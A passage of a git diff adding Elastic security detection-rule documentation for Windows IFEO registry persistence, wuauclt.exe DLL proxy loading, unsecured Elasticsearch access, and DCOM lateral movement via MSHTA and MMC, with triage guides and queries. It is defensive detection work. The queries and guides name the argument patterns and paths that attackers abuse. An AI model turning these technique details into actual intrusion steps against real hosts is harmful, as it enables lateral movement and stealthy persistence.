process, and assess its legitimacy. +- Investigate the origin and purpose of the executable found in the registry.data.strings by checking its file properties, digital signature, and any associated metadata. +- Correlate the alert with recent system or user activity to identify any suspicious behavior or changes that coincide with the registry modification. +- Examine the system for additional indicators of compromise, such as unusual network connections, file modifications, or other registry changes, to assess the scope of potential malicious activity. +- Consult threat intelligence sources to determine if the identified executable or behavior is associated with known malware or threat actors. + + +*False positive analysis* + + +- ThinKiosk and PSAppDeployToolkit are known to trigger false positives due to their legitimate use of the Debugger registry key. Users can mitigate this by adding exceptions for these applications in the detection rule. +- Regularly review and update the list of exceptions to include any new legitimate applications that may use the Debugger or MonitorProcess registry keys for valid purposes. +- Monitor the environment for any new software installations or updates that might interact with the IFEO registry keys and adjust the rule exceptions accordingly to prevent unnecessary alerts. +- Collaborate with IT and security teams to identify any internal tools or scripts that might be using these registry keys for legitimate reasons and ensure they are accounted for in the rule exceptions. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Terminate any suspicious processes identified as being executed through the IFEO mechanism to halt any ongoing malicious activity. +- Revert any unauthorized changes to the registry keys associated with Image File Execution Options and SilentProcessExit to their default or intended state. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malware or persistence mechanisms. +- Review and restore any altered or deleted system files from a known good backup to ensure system integrity. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for registry changes related to IFEO to detect and respond to similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.value : ("Debugger", "MonitorProcess") and length(registry.data.strings) > 0 and + registry.path : ( + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\*.exe\\Debugger", + "HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\*\\Debugger", + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\*\\MonitorProcess", + "HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\*\\MonitorProcess", + "\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\*.exe\\Debugger", + "\\REGISTRY\\MACHINE\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\*\\Debugger", + "\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\*\\MonitorProcess", + "\\REGISTRY\\MACHINE\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\*\\MonitorProcess", + "MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\*.exe\\Debugger", + "MACHINE\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\*\\Debugger", + "MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\*\\MonitorProcess", + "MACHINE\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\*\\MonitorProcess" + ) and + /* add FPs here */ + not registry.data.strings regex~ ("""C:\\Program Files( \(x86\))?\\ThinKiosk\\thinkiosk\.exe""", """.*\\PSAppDeployToolkit\\.*""") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Image File Execution Options Injection +** ID: T1546.012 +** Reference URL: https://attack.mitre.org/techniques/T1546/012/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-imageload-via-windows-update-auto-update-client.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-imageload-via-windows-update-auto-update-client.asciidoc new file mode 100644 index 0000000000..a6642914d4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-imageload-via-windows-update-auto-update-client.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-34-imageload-via-windows-update-auto-update-client]] +=== ImageLoad via Windows Update Auto Update Client + +Identifies abuse of the Windows Update Auto Update Client (wuauclt.exe) to load an arbitrary DLL. This behavior is used as a defense evasion technique to blend-in malicious activity with legitimate Windows software. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://dtm.uk/wuauclt/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 322 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating ImageLoad via Windows Update Auto Update Client* + + +The Windows Update Auto Update Client (wuauclt.exe) is the component responsible for managing system updates. However, adversaries may abuse this process to load a malicious DLL and execute malicious code while blending into a legitimate system mechanism. + +This rule identifies potential abuse for code execution by monitoring for specific process arguments ("/RunHandlerComServer" and "/UpdateDeploymentProvider") and common writable paths where the target DLL can be placed (e.g., "C:\Users\*.dll", "C:\ProgramData\*.dll", etc.). + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate any abnormal behavior by the subject process, such as network connections, registry or file modifications, and any spawned child processes. +- Examine the command line and identify the DLL location. +- Examine whether the DLL is signed. +- Retrieve the DLL and determine if it is malicious: + - Analyze the file using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate the behavior of child processes, such as network connections, registry or file modifications, and any spawned processes. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Any activity that triggered the alert and is not inherently malicious must be monitored by the security team. + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (?process.pe.original_file_name == "wuauclt.exe" or process.name : "wuauclt.exe") and + /* necessary windows update client args to load a dll */ + process.args : "/RunHandlerComServer" and process.args : "/UpdateDeploymentProvider" and + /* common paths writeable by a standard user where the target DLL can be placed */ + process.args : ("C:\\Users\\*.dll", "C:\\ProgramData\\*.dll", "C:\\Windows\\Temp\\*.dll", "C:\\Windows\\Tasks\\*.dll") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Shared Modules +** ID: T1129 +** Reference URL: https://attack.mitre.org/techniques/T1129/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-inbound-connection-to-an-unsecure-elasticsearch-node.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-inbound-connection-to-an-unsecure-elasticsearch-node.asciidoc new file mode 100644 index 0000000000..a8d975f6b9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-inbound-connection-to-an-unsecure-elasticsearch-node.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-34-inbound-connection-to-an-unsecure-elasticsearch-node]] +=== Inbound Connection to an Unsecure Elasticsearch Node + +Identifies Elasticsearch nodes that do not have Transport Layer Security (TLS), and/or lack authentication, and are accepting inbound network connections over the default Elasticsearch port. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* logs-network_traffic.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/elasticsearch/reference/current/configuring-security.html +* https://www.elastic.co/guide/en/beats/packetbeat/current/packetbeat-http-options.html#_send_all_headers + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Reconnaissance +* Domain: Endpoint +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Domain: Network +* Data Source: Network Packet Capture + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Inbound Connection to an Unsecure Elasticsearch Node* + + +Elasticsearch is a powerful search and analytics engine often used for log and data analysis. When improperly configured without TLS or authentication, it becomes vulnerable to unauthorized access. Adversaries can exploit these weaknesses to gain initial access, exfiltrate data, or disrupt services. The detection rule identifies unsecured nodes by monitoring inbound HTTP traffic on the default port, flagging connections lacking authentication headers, thus highlighting potential exploitation attempts. + + +*Possible investigation steps* + + +- Review the source IP address of the inbound connection to determine if it is from a known or trusted entity. Cross-reference with internal asset inventories or threat intelligence sources. +- Examine the network traffic logs for any unusual patterns or repeated access attempts from the same source IP, which might indicate a brute force or scanning activity. +- Check for any data exfiltration attempts by analyzing outbound traffic from the Elasticsearch node, focusing on large data transfers or connections to unfamiliar external IPs. +- Investigate the absence of authentication headers in the HTTP requests to confirm if the Elasticsearch node is indeed misconfigured and lacks proper security controls. +- Assess the configuration of the Elasticsearch node to ensure that TLS is enabled and authentication mechanisms are properly implemented to prevent unauthorized access. +- Look for any other alerts or logs related to the same Elasticsearch node or source IP to identify potential coordinated attack activities or previous incidents. + + +*False positive analysis* + + +- Internal monitoring tools or scripts that regularly check Elasticsearch node status without authentication can trigger false positives. Exclude these specific IP addresses or user agents from the rule to reduce noise. +- Automated backup systems that interact with Elasticsearch nodes without using authentication headers might be flagged. Identify these systems and create exceptions based on their IP addresses or network segments. +- Development or testing environments where Elasticsearch nodes are intentionally left unsecured for testing purposes can generate alerts. Use network segmentation or specific tags to differentiate these environments and exclude them from the rule. +- Security scans or vulnerability assessments conducted by internal teams may access Elasticsearch nodes without authentication, leading to false positives. Whitelist the IP ranges used by these security tools to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected Elasticsearch node from the network to prevent further unauthorized access or data exfiltration. +- Conduct a thorough review of access logs to identify any unauthorized access or data exfiltration attempts, focusing on connections lacking authentication headers. +- Implement Transport Layer Security (TLS) and enable authentication mechanisms on the Elasticsearch node to secure communications and restrict access to authorized users only. +- Reset credentials and API keys associated with the Elasticsearch node to prevent further unauthorized access using potentially compromised credentials. +- Notify the security team and relevant stakeholders about the incident, providing details of the unauthorized access and steps taken to contain the threat. +- Monitor the network for any signs of continued unauthorized access attempts or related suspicious activity, adjusting detection rules as necessary to capture similar threats. +- Document the incident, including the response actions taken, and conduct a post-incident review to identify any gaps in security controls and improve future response efforts. + +==== Setup + + +This rule requires the addition of port `9200` and `send_all_headers` to the `HTTP` protocol configuration in `packetbeat.yml`. See the References section for additional configuration documentation. + +==== Rule query + + +[source, js] +---------------------------------- +(data_stream.dataset: network_traffic.http or (event.category: network_traffic and network.protocol: http)) and +http.response.status_code: 200 and destination.port: 9200 and network.direction: (inbound or ingress) and +not http.response.headers.content-type: "image/x-icon" and not http.request.headers.authorization: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-incoming-dcom-lateral-movement-via-mshta.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-incoming-dcom-lateral-movement-via-mshta.asciidoc new file mode 100644 index 0000000000..e451863369 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-incoming-dcom-lateral-movement-via-mshta.asciidoc @@ -0,0 +1,200 @@ +[[prebuilt-rule-8-19-34-incoming-dcom-lateral-movement-via-mshta]] +=== Incoming DCOM Lateral Movement via MSHTA + +Identifies the use of Distributed Component Object Model (DCOM) to execute commands from a remote host, which are launched via the HTA Application COM Object. This behavior may indicate an attacker abusing a DCOM application to move laterally while attempting to evade detection. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://code-white.com/blog/2018-07-lethalhta/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Incoming DCOM Lateral Movement via MSHTA* + + + +*Investigation steps* + + +- Do recovered source events show remote COM activation of mshta on this host? + - Focus: alert `host.id` and `process.entity_id`; recover `process.command_line` plus matching network `source.ip`, `source.port`, `destination.port`, and `network.direction`. + - Implication: escalate when the COM-server process receives incoming non-loopback RPC-style TCP from an unconfirmed source; lower only when telemetry and exact confirmation tie source, target, and COM-server launch to recurring distribution or helpdesk activity. Missing source events leave the alert unresolved. + +- Is mshta the expected Windows COM server, not a staged or masqueraded copy? + - Focus: `process.executable`, `process.hash.sha256`, `process.code_signature.subject_name`, `process.code_signature.trusted`, and `process.parent.executable`. + - Implication: escalate when mshta runs from a user-writable or non-Windows path, has an unexpected signer, or lacks a service/DCOM-style parent such as "svchost.exe"; Microsoft identity lowers only masquerade risk because source and retrieval still decide the case. + +- Do source, account, and logon context support the same confirmed workflow? + - Focus: recovered `source.ip`, target-side `user.id`, and session bridge `process.Ext.authentication_id`, `winlog.event_data.TargetLogonId`, and `winlog.event_data.AuthenticationPackageName`. + - Implication: escalate when source, account, session type, or auth package conflict with the source-event workflow; lower only when telemetry and exact confirmation identify a legitimate source-to-host relationship. Missing Windows Security telemetry leaves origin and auth method unresolved, not benign. + +- Does same-process DNS/connection data show remote script retrieval? + - Why: HTA COM can load remote script content into "mshta.exe"; same-process retrieval is direct corroboration. + - Focus: same-process DNS `dns.question.name` and `dns.resolved_ip`, then connection `destination.ip` and `destination.port`. !{investigate{"description":"","label":"Network events for the mshta process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: map `dns.question.name` to `dns.resolved_ip` before tying later `destination.ip` to retrieval. + - Implication: escalate when mshta resolves or connects to public, rare, or mismatched content hosts; lower only when the destination maps to the same recognized internal or vendor workflow as the source. Missing DNS or connection telemetry leaves retrieval unresolved, not benign. + +- Do file artifacts show cached HTA content or staged payloads? + - Focus: same-host file events tied to `host.id` and mshta or follow-on `process.entity_id`, especially `file.path`, `file.origin_url`, `file.Ext.windows.zone_identifier`, and `file.Ext.original.path`. !{investigate{"description":"","label":"File events for the mshta process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Range: start with the alert window; expand after the first suspicious write to confirm later execution. + - Implication: escalate when the chain writes HTA/script/payload content to temp, downloads, ADS-like, systemprofile "INetCache", or extensionless paths, or when the artifact later executes; lower when artifacts stay in one recurring deployment path. Missing file telemetry is unresolved, not benign. + +- Does mshta stay in-process or hand off execution? + - Why: LethalHTA can run JScript/VBScript, DotNetToJScript, CLR, or beacon code inside "mshta.exe"; absence of child processes does not clear the alert. + - Focus: child process starts from recovered mshta `process.entity_id`. !{investigate{"description":"","label":"Child process starts from the mshta process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Library: same-process `dll.path`, `dll.code_signature.subject_name`, `dll.code_signature.trusted`, and `dll.Ext.relative_file_creation_time`. !{investigate{"description":"","label":"Library events for the mshta process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"library","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when mshta spawns shells, downloaders, proxy-execution utilities, or loads recent/untrusted libraries from writable or nonstandard paths; narrow only when no follow-on execution appears and earlier source, session, and retrieval fit one recognized workflow. Missing library telemetry leaves in-process payload review unresolved, not benign. + +- Do related alerts change scope? + - Focus: related lateral-movement, proxy-execution, or follow-on delivery alerts for `host.id` in the prior 48h. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: use the host-scoped transform first; search recovered `source.ip`, `dns.question.name`, or `destination.ip` across other targets only if local evidence remains suspicious or unresolved. + - Implication: escalate scope when the host shows adjacent lateral-movement, proxy-execution, or follow-on delivery alerts, or when the source touches additional targets; keep the case local when the alert is isolated and earlier evidence fits one stable workflow. + +- Escalate unauthorized DCOM HTA execution when source-event chain, source/session fit, retrieval, artifacts/libraries, child execution, or related-alert scope remain suspicious; close only when pivots bind one recognized host workflow without contradictory retrieval, artifact, or follow-on activity; if answers stay mixed or incomplete, preserve evidence and escalate. + + +*False positive analysis* + + +- Management tooling (software distribution, enrollment, or helpdesk launchers) can legitimately activate the HTA COM object. Confirm `source.ip` is the management host, mshta identity and `process.parent.executable` match that tool, DNS/destination pattern serves it, and artifacts, children, or libraries do not contradict it. Telemetry that cannot prove legitimacy needs change, distribution, asset, or owner confirmation. +- Do not close on partial context: known admin subnet, Microsoft-signed "mshta.exe", or familiar user alone. If any evidence dimension contradicts the expected workflow, or neither telemetry nor exact confirmation proves it, treat the alert as suspicious or unresolved. +- Anchor exceptions on the minimum confirmed workflow: recognized `source.ip`, stable `process.parent.executable`, recovered `process.command_line`, specific benign `dns.question.name` or `destination.ip`, and relevant `host.id`. Avoid exceptions on `process.name` of "mshta.exe", incoming high ports, or `user.name` alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document source, target host, mshta identity, parent context, destination pattern, and artifact evidence confirming the recognized workflow. Create an exception only for the exact pattern confirmed by telemetry and supporting records or owner confirmation. +- If suspicious but unconfirmed, preserve Timeline source events, mshta identity and command line, remote source and high-port pair, DNS and destination evidence, cached/staged files, child processes, suspicious libraries, and relevant case exports before containment or cleanup. +- Apply reversible containment first: restrict DCOM or web retrieval between the target and recovered source/destination, increase monitoring on `host.id` and `user.id`, or isolate the endpoint only when retrieval, child execution, or library evidence indicates active payload execution and the host role permits isolation. +- If confirmed malicious, isolate the target endpoint and contain the recovered source system or account when in scope. Block malicious domains, destinations, and hashes; record process and artifact IDs before killing processes or deleting files. +- Scope other hosts reached by the same recovered `source.ip`, `dns.question.name`, `destination.ip`, or `process.command_line` pattern before destructive eradication, credential removal, or broad DCOM changes. +- Eradicate only identified HTA, HTML, script, DLL, cached content, or staged payloads, then remediate the DCOM exposure, application workflow, or credentials that enabled remote execution. +- Post-incident hardening: restrict DCOM exposure to recognized management paths, keep Windows Firewall or equivalent RPC controls enabled for the host class, limit HTA use to recognized workflows, retain process/network/file/library telemetry, and record SMB/named-pipe delivery if found during scoping. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-3-setup[Sysmon Event ID 3 - Network Connection] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence with maxspan=1m + [process where host.os.type == "windows" and event.type == "start" and + process.name : "mshta.exe" and process.args : "-Embedding" + ] by host.id, process.entity_id + [network where host.os.type == "windows" and event.type == "start" and process.name : "mshta.exe" and + network.direction : ("incoming", "ingress") and network.transport == "tcp" and + source.port > 49151 and destination.port > 49151 and source.ip != "127.0.0.1" and source.ip != "::1" + ] by host.id, process.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Distributed Component Object Model +** ID: T1021.003 +** Reference URL: https://attack.mitre.org/techniques/T1021/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Inter-Process Communication +** ID: T1559 +** Reference URL: https://attack.mitre.org/techniques/T1559/ +* Sub-technique: +** Name: Component Object Model +** ID: T1559.001 +** Reference URL: https://attack.mitre.org/techniques/T1559/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-incoming-dcom-lateral-movement-with-mmc.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-incoming-dcom-lateral-movement-with-mmc.asciidoc new file mode 100644 index 0000000000..e9920209e5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-incoming-dcom-lateral-movement-with-mmc.asciidoc @@ -0,0 +1,192 @@ +[[prebuilt-rule-8-19-34-incoming-dcom-lateral-movement-with-mmc]] +=== Incoming DCOM Lateral Movement with MMC + +Identifies the use of Distributed Component Object Model (DCOM) to run commands from a remote host, which are launched via the MMC20 Application COM Object. This behavior may indicate an attacker abusing a DCOM application to move laterally. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Incoming DCOM Lateral Movement with MMC* + + + +*Possible 